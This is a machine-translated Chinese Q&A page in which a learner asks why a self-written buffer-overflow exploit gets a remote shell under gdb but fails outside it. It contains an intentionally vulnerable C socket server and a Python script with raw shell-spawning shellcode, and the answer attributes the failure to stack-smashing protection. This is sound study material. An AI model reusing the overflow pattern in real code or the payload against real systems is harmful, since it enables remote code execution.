簡體   English   中英

緩沖區溢出-利用gdb進行調試時可利用漏洞,但

[英]buffer overflow - exploit works while debuging with gdb, but

我正在嘗試學習/理解緩沖區溢出。 我雖然已經知道了,但是現在在利用這個(我的)易受攻擊的代碼時遇到了問題。

當我運行漏洞利用程序時,當服務器在gdb中運行時,漏洞利用起作用,並且我得到了遠程shell(有效載荷已正確執行)。 但是隨后,我在調試器外部啟動了服務器,當我啟動漏洞利用程序時,出現了浮點異常。 誰能解釋我在做什么錯?

服務器:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void error(const char *msg) {
   perror(msg);
   exit(1);
}

void passcheck(int sockfd) {
   char buffer[1024];
   int newsockfd, n;
   struct sockaddr_in cli_addr;
   socklen_t clilen;

   for (n=0; n<1024; n++) buffer[n] = 0x31;

   clilen = sizeof(cli_addr);
   newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
   if (newsockfd < 0)
      error("ERROR on accept");
   n = write(newsockfd,"PASSWORD: ",10);
   if (n < 0) error("ERROR writing to socket");
   n = read(newsockfd,buffer,2024);
   if (n < 0) error("ERROR reading from socket");
   close(newsockfd);
   return;
}
int main(int argc, char *argv[]) {
   int sockfd, portno;
   struct sockaddr_in serv_addr;
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   if (sockfd < 0)
      error("ERROR opening socket");
   bzero((char *) &serv_addr, sizeof(serv_addr));
   portno = 5001;
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(portno);
   if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
      error("ERROR on binding");
   listen(sockfd,5);
   while(1) {
     passcheck(sockfd);
     printf("Try again\n");
   }
   close(sockfd);
   return 0;

利用:

    #!/usr/bin/python

import socket

payload =  "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150

s = socket.socket()
host = "127.0.0.1"
port = 5001
s.connect((host, port))
s.send(payload)
s.close

當我嘗試在OS X上運行您的示例程序時,遇到了段錯誤,但是無論是否在GDB中運行它,我都可以理解:

Program received signal SIGSEGV, Segmentation fault.
0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
(gdb) bt
#0  0x00007fff832c2701 in __findenv () from /usr/lib/system/libsystem_c.dylib
#1  0x00007fff832c2754 in getenv () from /usr/lib/system/libsystem_c.dylib
#2  0x00007fff83283b35 in _simple_asl_init ()
   from /usr/lib/system/libsystem_c.dylib
#3  0x00007fff8327afc0 in pthread_once ()
   from /usr/lib/system/libsystem_c.dylib
#4  0x00007fff832838f8 in _simple_asl_log_prog ()
   from /usr/lib/system/libsystem_c.dylib
#5  0x00007fff832bff8b in __stack_chk_fail ()
   from /usr/lib/system/libsystem_c.dylib
#6  0x0000000100000c86 in passcheck (sockfd=-1073745148) at foo.cpp:31

請注意,__ stack_chk_fail似乎是GCC使用的堆棧粉碎保護的一部分,因此您的緩沖區溢出嘗試並未引起注意。 我必須承認,我不太確定為什么以后會出現段錯誤。

無論哪種方式,如果您自己嘗試嘗試類似的操作,我都不會感到驚訝。 如果您想嘗試緩沖區溢出,我建議您使用較舊的Linux發行版和gcc版本,並確保關閉GCC保護機制。 我建議該死的Small Linux ,它仍然具有2.4內核,我似乎還記得2.6還添加了一些緩沖區溢出保護機制。

您已經了解到緩沖區溢出並不像過去那樣簡單! :-)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM